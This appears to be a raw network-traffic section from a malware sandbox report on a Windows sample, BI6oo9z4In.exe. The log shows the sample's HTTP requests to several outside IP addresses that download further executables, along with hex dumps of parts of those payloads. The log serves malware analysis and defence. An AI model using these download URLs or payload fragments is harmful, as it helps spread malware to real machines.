May 24, 2024 09:42:05.670630932 CEST	1236	IN	Data Raw: e0 7a 45 61 0e 62 92 f7 d1 68 e0 42 93 15 b8 66 e1 9b eb 61 61 05 47 ba 17 70 b5 79 0f ba 17 70 e9 05 77 ba 17 70 a9 c9 f7 ba 17 70 d1 e5 9c 47 87 b5 24 ef 7d 25 c4 ea a4 7f 67 61 44 e8 8f b3 e3 51 44 e8 8f 63 97 8a b9 98 b2 bf 85 6f 4d 80 99 c0 Data Ascii: zEabhBfaaGpypwppG$}%gaDQDcoM:DF4&.dK1K TjLV\|,E>YN;w_{~ [Ai9GF\ W8DZV2Elp*p[UC0x
May 24, 2024 09:42:05.670644045 CEST	224	IN	Data Raw: a6 ef 79 05 ba 41 90 a3 0b 0f a8 54 a6 62 f3 8f fa 3f 5d 3b 4e a1 b2 b5 e2 28 bb ce 38 5d c9 a5 47 15 37 2b cf af 7a 2e 01 4a 74 45 fb 59 85 19 34 bb 58 8c 5b 4b 37 82 45 e9 f7 1b b8 94 99 b2 fd 20 c9 d8 4d ea 85 03 4e 0d b7 a2 fa 59 8c 5b 4b 3c Data Ascii: yATb?];N(8]G7+z.JtEY4X[K7E MNY[K<I>y}X({\|zN{GDpGM{D>qz>-SpN@qRKkSdp`o&.=lQ?6^<=,Dt])Swc4
May 24, 2024 09:42:05.671477079 CEST	1236	IN	Data Raw: 94 7a 5e aa 94 3f ad 77 0b 97 8a bd 93 f4 13 58 d9 54 07 a7 98 ab d7 f2 a4 d1 b2 d5 dc 61 7f ed 92 90 3a 1e 4f 0f 2a 39 85 97 4a 2c 61 47 14 c0 70 9d 4c a4 d8 19 23 8a c7 d0 13 39 7e a5 e8 dd 56 92 68 2e 55 97 a8 b6 56 a2 0f 5c fb 7a b1 88 ae 57 Data Ascii: z^?wXTa:O9J,aGpL#9~Vh.UV\zWFbG_>rD?)dK>{-5;{y!}-s7y<*zm1z8Fhol188lq~y]VlbEM:RuPWb/0PydK:E$tYK
May 24, 2024 09:42:05.672252893 CEST	1236	IN	Data Raw: 67 80 7c 3b 24 97 54 67 80 1a 3a 14 08 3b 0b 56 93 db 83 5f ef 24 3a 06 dc 43 56 30 66 6a f4 b9 2f 49 e4 60 79 ac fa 84 d8 40 b6 be 78 e1 80 6d 48 06 f6 6e 6d e0 ce d3 bb 0c 5f b6 10 a7 0e 0d c4 0d ea e1 ab 67 bf f2 30 5b 6c d3 74 3b 4c ff 3c 92 Data Ascii: g\|;$Tg:;V_$:CV0fj/I`y@xmHnm_g0[lt;L<^9W{ZN9fFAP5w.Z!aWGmDOv(A-aZoA0VX!?#:~*7My$2nmBaxa {oWD0tGG\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49737	176.111.174.109	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:04.441562891 CEST	199	OUT	HEAD /pelikan HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 176.111.174.109 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49736	91.202.233.232	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:04.441860914 CEST	223	OUT	HEAD /o2i3jroi23joj23ikrjokij3oroi.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 91.202.233.232 Cache-Control: no-cache
May 24, 2024 09:42:05.187546968 CEST	254	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri, 24 May 2024 07:36:31 GMT ETag: "271a00-6192e39e89dc0" Accept-Ranges: bytes Content-Length: 2562560 Content-Type: application/x-msdos-program
May 24, 2024 09:42:05.188239098 CEST	222	OUT	GET /o2i3jroi23joj23ikrjokij3oroi.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 91.202.233.232 Cache-Control: no-cache
May 24, 2024 09:42:05.445055008 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri, 24 May 2024 07:36:31 GMT ETag: "271a00-6192e39e89dc0" Accept-Ranges: bytes Content-Length: 2562560 Content-Type: application/x-msdos-program Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 96 0f 00 00 80 17 00 00 00 00 00 98 a4 0f 00 00 10 00 00 00 b0 0f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*@'@"p0H6 CODE `DATA @BSS.idata"$@.tls.rdata @P.relocH608@P.rsrcp@P''@P
May 24, 2024 09:42:05.445103884 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 03 07 42 6f 6f 6c 65 61 6e 01 00 00 00 00 01 00 00 00 00 10 40 00 05 46 61 6c 73 65 04 54 72 75 65 8d 40 00 Data Ascii: @Boolean@FalseTrue@,@WideCharD@CharX@Shortintp@Smallint@Integer@Byte@
May 24, 2024 09:42:05.445146084 CEST	1236	IN	Data Raw: 57 6f 72 64 03 00 00 00 00 ff ff 00 00 90 c8 10 40 00 04 08 45 78 74 65 6e 64 65 64 02 90 d8 10 40 00 01 08 43 61 72 64 69 6e 61 6c 05 00 00 00 00 ff ff ff ff 90 f0 10 40 00 10 05 49 6e 74 36 34 00 00 00 00 00 00 00 80 ff ff ff ff ff ff ff 7f 90 Data Ascii: Word@Extended@Cardinal@Int64@Single@@Double@,@Real8@CompD@CurrencyT@ShortStringh@ByteBoold@FalseTrue@WordBool@F
May 24, 2024 09:42:05.449086905 CEST	1236	IN	Data Raw: 8b c0 ff 25 bc e1 4f 00 8b c0 ff 25 b8 e1 4f 00 8b c0 ff 25 b4 e1 4f 00 8b c0 ff 25 b0 e1 4f 00 8b c0 ff 25 ac e1 4f 00 8b c0 ff 25 a8 e1 4f 00 8b c0 ff 25 a4 e1 4f 00 8b c0 ff 25 a0 e1 4f 00 8b c0 ff 25 9c e1 4f 00 8b c0 ff 25 98 e1 4f 00 8b c0 Data Ascii: %O%O%O%O%O%O%O%O%O%O%O%O%O%O%O%O%O%O%O%O%O%O%O%\|O%xO%tOSTYD$,t\$0D[
May 24, 2024 09:42:05.449100018 CEST	1236	IN	Data Raw: 10 00 00 2b fb 57 53 e8 26 fc ff ff 85 c0 75 0a 8b 44 24 04 33 d2 89 10 eb 0a 8b 36 81 fe ec d5 4f 00 75 bc 83 c4 0c 5d 5f 5e 5b c3 8b c0 53 56 57 55 51 8b d8 8b f3 81 c6 ff 0f 00 00 81 e6 00 f0 ff ff 89 34 24 8b eb 03 ea 81 e5 00 f0 ff ff 8b 04 Data Ascii: +WS&uD$36Ou]_^[SVWUQ4$$+$A5O8^~;$s$;s;vh@+WSuO6OuZ]_^[@SVWUO?]3;{,C>tPFCF)C{
May 24, 2024 09:42:05.453861952 CEST	1236	IN	Data Raw: c1 f9 02 8b 1d 24 d6 4f 00 89 54 8b f4 8b 00 89 02 89 50 04 5b c3 8b 00 89 02 89 50 04 5b c3 8d 40 00 8b 15 28 d6 4f 00 eb 10 8b 4a 08 3b c1 72 07 03 4a 0c 3b c1 72 16 8b 12 81 fa 28 d6 4f 00 75 e8 c7 05 c8 d5 4f 00 03 00 00 00 33 d2 8b c2 c3 90 Data Ascii: $OTP[P[@(OJ;rJ;r(OuO3S\|[\|[OO\|\| SVtO
May 24, 2024 09:42:05.453918934 CEST	1236	IN	Data Raw: 8b f2 3b 1f 75 05 8b 43 04 89 07 8b c3 03 c6 83 20 fe 8b c3 8b d6 83 ca 02 89 10 83 c0 04 ff 05 b4 d5 4f 00 83 ee 04 01 35 b8 d5 4f 00 5d 5f 5e 5b c3 55 8b ec 83 c4 f8 53 56 57 8b d8 80 3d c4 d5 4f 00 00 75 09 e8 fb f8 ff ff 84 c0 74 08 81 fb f8 Data Ascii: ;uC O5O]_^[USVW=Out~3ET3Uh%@d1d!=MOthO }y$OTty B;uy$O3\|&y=$O
May 24, 2024 09:42:05.453950882 CEST	1236	IN	Data Raw: 24 0c 7c 0e 8b c5 03 c6 8b 14 24 e8 6e f8 ff ff eb 3a 03 34 24 8b dd 03 de 83 23 fe eb 2e 8b 03 a9 00 00 00 80 74 21 25 fc ff ff 7f 03 c3 8b d8 8b 54 24 04 8b c3 e8 cf f9 ff ff 84 c0 74 09 8b dd 03 df e9 0d ff ff ff 33 c0 eb 19 8b c6 2b c7 01 05 Data Ascii: $\|$n:4$#.t!%T$t3+OE%uYZ]_^[UQSVW=Ouu3E3Uh)@d2d"=MOthOt]6%;}t:
May 24, 2024 09:42:05.458093882 CEST	1236	IN	Data Raw: e1 ff 00 00 00 92 e8 4f fe ff ff 5b c3 90 53 56 57 89 c6 89 d7 31 c0 31 d2 8a 06 8a 17 46 47 29 d0 77 02 01 c2 52 c1 ea 02 74 26 8b 0e 8b 1f 39 d9 75 44 4a 74 15 8b 4e 04 8b 5f 04 39 d9 75 37 83 c6 08 83 c7 08 4a 75 e2 eb 06 83 c6 04 83 c7 04 5a Data Ascii: O[SVW11FG)wRt&9uDJtN_9u7JuZt:u/JtN:Ou$JtN:OuZ8u8u8u8_^[SVQt&9uENtHZ9u8Nu^t6:u0NtH:Ju%NtH:Ju1^[^8u8u
May 24, 2024 09:42:05.458127975 CEST	1236	IN	Data Raw: e9 07 9c 8a f2 64 45 d4 f3 f7 eb e1 4a 7a 95 cf 45 62 a2 95 07 dc d8 3e b8 39 46 c7 91 0e a6 ae a0 19 e3 a3 46 17 0c 75 81 86 75 76 c9 48 4d e4 a7 93 39 3b 35 b8 b2 ed 53 e5 5d 3d c5 5d 3b 8b 9e 92 5a a6 f0 a1 20 c0 54 a5 8c 37 61 8b 5a 8b d8 25 Data Ascii: dEJzEb>9FFuuvHM9;5S]=];Z T7aZ%]g']n R`%uYnb5{%OS3juj%=t=u[U OEEPjjh3@huM3Uh3@d0d EEP
May 24, 2024 09:42:05.461702108 CEST	1236	IN	Data Raw: 02 8b 00 8b 70 cc 85 f6 74 15 66 8b 3e 83 c6 02 8a 4e 06 38 d9 74 15 66 8b 0e 01 ce 4f 75 f1 8b 40 dc 85 c0 75 db eb 18 8a 1a eb eb b5 00 8a 5c 31 06 32 1c 11 80 e3 df 75 ee 49 75 f1 8b 46 02 5f 5e 5b c3 8b c0 53 56 57 31 c9 31 ff 8a 1a 50 8b 00 Data Ascii: ptf>N8tfOu@u\12uIuF_^[SVW11Pptf>N8tt1Ou@uZN\12uIuZ_^[RQS\|P1L$diA8@Ad[YZND$,@tPQX@RS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49738	185.172.128.159	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:04.441997051 CEST	198	OUT	HEAD /dl.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 185.172.128.159 Cache-Control: no-cache
May 24, 2024 09:42:05.092632055 CEST	339	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Description: File Transfer Content-Disposition: attachment; filename=timeSync.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 223232 Content-Type: application/octet-stream
May 24, 2024 09:42:05.093413115 CEST	197	OUT	GET /dl.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 185.172.128.159 Cache-Control: no-cache
May 24, 2024 09:42:05.292891026 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Description: File Transfer Content-Disposition: attachment; filename=timeSync.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 223232 Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bf fa 6e c5 fb 9b 00 96 fb 9b 00 96 fb 9b 00 96 f6 c9 df 96 e1 9b 00 96 f6 c9 e0 96 82 9b 00 96 f6 c9 e1 96 dc 9b 00 96 f2 e3 93 96 fc 9b 00 96 fb 9b 01 96 9f 9b 00 96 4e 05 e1 96 fa 9b 00 96 f6 c9 db 96 fa 9b 00 96 4e 05 de 96 fa 9b 00 96 52 69 63 68 fb 9b 00 96 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ba f1 d6 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 4e 88 02 00 00 00 00 87 3e 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 89 02 00 04 00 00 cf 50 04 00 02 00 00 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$nNNRichPELcN>@`PiPi@_@d.text/ `.rdataqr@@.data0v\@.rsrc@@
May 24, 2024 09:42:05.292942047 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Gh@Y Ch@Y$?h%@Yj(Tj,Gj0:j4-
May 24, 2024 09:42:05.303020954 CEST	1236	IN	Data Raw: 00 03 47 10 3b 44 24 08 76 04 b0 01 eb 02 32 c0 5f c2 04 00 83 79 14 10 72 09 8b 09 e8 26 fc ff ff 8b c8 8b c1 c3 83 79 14 10 72 09 8b 09 e8 14 fc ff ff 8b c8 8b c1 c3 55 8b ec 80 7d 08 00 56 8b f1 74 3c 83 7e 14 10 72 36 83 7d 0c 00 53 8b 1e 76 Data Ascii: G;D$v2_yr&yrU}Vt<~r6}SvuPVsF@PSEPl[uF^]hhAhxAL$3oUSVMW];rhM+9}B};uu
May 24, 2024 09:42:05.303075075 CEST	1236	IN	Data Raw: 4c 24 04 e8 69 03 00 00 3b 44 24 08 75 05 33 c0 40 eb 02 33 c0 c2 08 00 55 8b ec 51 51 ff 75 0c 8b 01 8d 55 f8 ff 75 08 52 ff 50 0c 8b c8 e8 78 f8 ff ff 8b e5 5d c2 08 00 8b 44 24 04 56 8b f1 39 46 10 72 0c 50 e8 32 fa ff ff 8b c6 5e c2 04 00 e8 Data Ascii: L$i;D$u3@3UQQuUuRPx]D$V9FrP2^wSVW\|$^;r@Ul$+;wW"t#++Q(QPS]_^[!4D$8u3PYQD$P3B;
May 24, 2024 09:42:05.307442904 CEST	1236	IN	Data Raw: 26 69 3e 81 45 f0 56 07 5c 64 81 6d f8 3b 19 89 59 81 45 fc ab 2d b0 69 b8 6b 22 74 01 f7 65 fc 8b 45 fc 81 6d f4 54 c5 41 44 81 45 d0 0d 38 2a 40 b8 eb 05 c4 7a f7 65 e8 8b 45 e8 b8 38 59 3c 36 f7 65 f4 8b 45 f4 81 45 f4 89 4c 8f 0d 81 45 f0 f4 Data Ascii: &i>EV\dm;YE-ik"teEmTADE8@zeE8Y<6eEELE\|_mYEEf7E@!=8eEmut1zyeEmMnEl9eEmmk`m09E^m?OsRZeE<-meEm/m\|BE+
May 24, 2024 09:42:05.312164068 CEST	1236	IN	Data Raw: f0 94 04 41 00 50 e8 bd 14 00 00 cc e9 f3 1d 00 00 56 6a 04 6a 20 e8 53 21 00 00 59 59 8b f0 56 ff 15 78 00 41 00 a3 d0 b0 c8 02 a3 cc b0 c8 02 85 f6 75 05 6a 18 58 5e c3 83 26 00 33 c0 5e c3 6a 0c 68 08 65 41 00 e8 03 22 00 00 83 65 e4 00 e8 93 Data Ascii: APVjj S!YYVxAujX^&3^jheA"eeu#YuE"unUQSV5\|AW55EE;+OrvPz GY;sG;s];rPS!YYuF;
May 24, 2024 09:42:05.312184095 CEST	1236	IN	Data Raw: 46 01 88 47 01 8a 46 02 88 47 02 8b 44 24 0c 5e 5f c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 04 29 40 00 8b ff f7 d9 ff 24 8d b4 28 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 Data Ascii: FGFGD$^_t1\|9u$r$)@$(@Ir+$(@$)@(@<(@d(@F#Gr$)@IF#GFGr$)@F#GFGFGV$)@I
May 24, 2024 09:42:05.321923971 CEST	1000	IN	Data Raw: 00 0f 85 b8 01 00 00 f7 c6 03 00 00 00 0f 85 97 01 00 00 0f ba e7 02 73 0d 8b 06 83 e9 04 8d 76 04 89 07 8d 7f 04 0f ba e7 03 73 11 f3 0f 7e 0e 83 e9 08 8d 76 08 66 0f d6 0f 8d 7f 08 f7 c6 07 00 00 00 74 63 0f ba e6 03 0f 83 b2 00 00 00 66 0f 6f Data Ascii: svs~vftcfoNvfo^0foF fon0v00fof:ffof:fGfof:fo 0}vfoNvIfo^0foF fon0v00fof:ffof:fGfof:f
May 24, 2024 09:42:05.321957111 CEST	1236	IN	Data Raw: 83 f9 08 0f 82 56 ff ff ff fd f3 a5 fc ff 24 95 e4 30 40 00 8d 49 00 98 30 40 00 a0 30 40 00 a8 30 40 00 b0 30 40 00 b8 30 40 00 c0 30 40 00 c8 30 40 00 db 30 40 00 8b 44 8e 1c 89 44 8f 1c 8b 44 8e 18 89 44 8f 18 8b 44 8e 14 89 44 8f 14 8b 44 8e Data Ascii: V$0@I0@0@0@0@0@0@0@0@DDDDDDDDDDDDDD$0@0@0@1@ 1@D$^_FGD$^_IFGFGD$^_FGFGFGD$^_$W
May 24, 2024 09:42:05.321974039 CEST	1236	IN	Data Raw: 6a 2b d8 01 45 fc 29 45 f8 8b 4d f4 eb 27 56 e8 cc 1c 00 00 59 83 f8 ff 74 55 8b 4d f8 85 c9 74 24 8b 55 fc 88 02 42 4b 89 55 fc 49 89 4d f8 8b 4e 18 89 4d f4 85 db 0f 85 1d ff ff ff 8b 45 14 e9 b1 fe ff ff 83 7d 0c ff 74 10 ff 75 0c 6a 00 ff 75 Data Ascii: j+E)EM'VYtUMt$UBKUIMNME}tuju3"N +3uyNUuuuju]jhHeAA3}9}t19}t,uu-}tuWuh3DV
May 24, 2024 09:42:05.329809904 CEST	876	IN	Data Raw: 83 7d ec 00 74 17 64 8b 1d 00 00 00 00 8b 03 8b 5d c8 89 03 64 89 1d 00 00 00 00 eb 09 8b 45 c8 64 a3 00 00 00 00 8b 45 fc 5b 8b e5 5d c3 55 8b ec 51 51 8b 45 08 53 8b 5d 0c 56 8b 70 0c 8b 48 10 89 4d f8 89 75 fc 57 8b fe 85 db 78 33 8b 55 10 83 Data Ascii: }td]dEdE[]UQQES]VpHMuWx3UuX3MUNk9T};T~u}KuyEF0E8E;xw;v3Mk_^[]UQSEEddE]mc[]UQQSVWd5uE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49740	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:04.458309889 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 44 cb 58 f4 e2 6b 84 ac 4e 4c c0 97 f7 b5 76 13 2b fc 51 a1 fc 36 a2 34 8f 8f fe f3 7d 2d 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fPDXkNLv+Q64}-&,+0/$#('=<5/Lvk.com#
May 24, 2024 09:42:05.187627077 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:05 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49739	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:04.458566904 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 44 cb 08 52 95 4e 62 a7 e6 b0 3d d3 b3 60 77 b8 2a 82 7f bb 5e 34 a9 c1 b0 fb 46 32 d1 e3 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fPDRNb=`w*^4F2&,+0/$#('=<5/Lvk.com#
May 24, 2024 09:42:05.133069992 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:05 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49741	188.114.97.3	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:04.464483976 CEST	198	OUT	HEAD /jhgfd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: fleur-de-lis.sbs Cache-Control: no-cache
May 24, 2024 09:42:05.133040905 CEST	400	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 24 May 2024 07:42:05 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-cache, no-store, must-revalidate Expires: Fri, 24 May 2024 07:42:05 GMT Location: https://fleur-de-lis.sbs/jhgfd Vary: Accept-Encoding Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 888ba5a0996a0c7a-EWR
May 24, 2024 09:42:07.366621971 CEST	512	OUT	GET /jhgfd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: fleur-de-lis.sbs Cache-Control: no-cache Cookie: _subid=38akcjk2e8lg2; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1MzY1MjV9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTM2NTI1fSxcInRpbWVcIjoxNzE2NTM2NTI1fSJ9.j44058psupnUysTtdISWQPrExbM7CT9xTMjMxxQUiB0; _token=uuid_38akcjk2e8lg2_38akcjk2e8lg2665044ce24fd99.54897045
May 24, 2024 09:42:07.569211960 CEST	433	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 24 May 2024 07:42:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-cache, no-store, must-revalidate Expires: Fri, 24 May 2024 07:42:07 GMT Location: https://fleur-de-lis.sbs/jhgfd Vary: Accept-Encoding Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 888ba5b07a440c7a-EWR Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49742	188.114.97.3	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:04.527853012 CEST	174	OUT	Data Raw: 16 03 03 00 a9 01 00 00 a5 03 03 66 50 44 cb 7c 4d 32 2c 57 18 56 bf 89 7b 70 d8 00 96 bb 11 9b f4 0d 76 fc 66 7d ab 4e 56 43 0d 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fPD\|M2,WV{pvf}NVC&,+0/$#('=<5/Vlop.foxesjoy.com#
May 24, 2024 09:42:04.993175030 CEST	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 24 May 2024 07:42:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49743	146.70.56.165	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

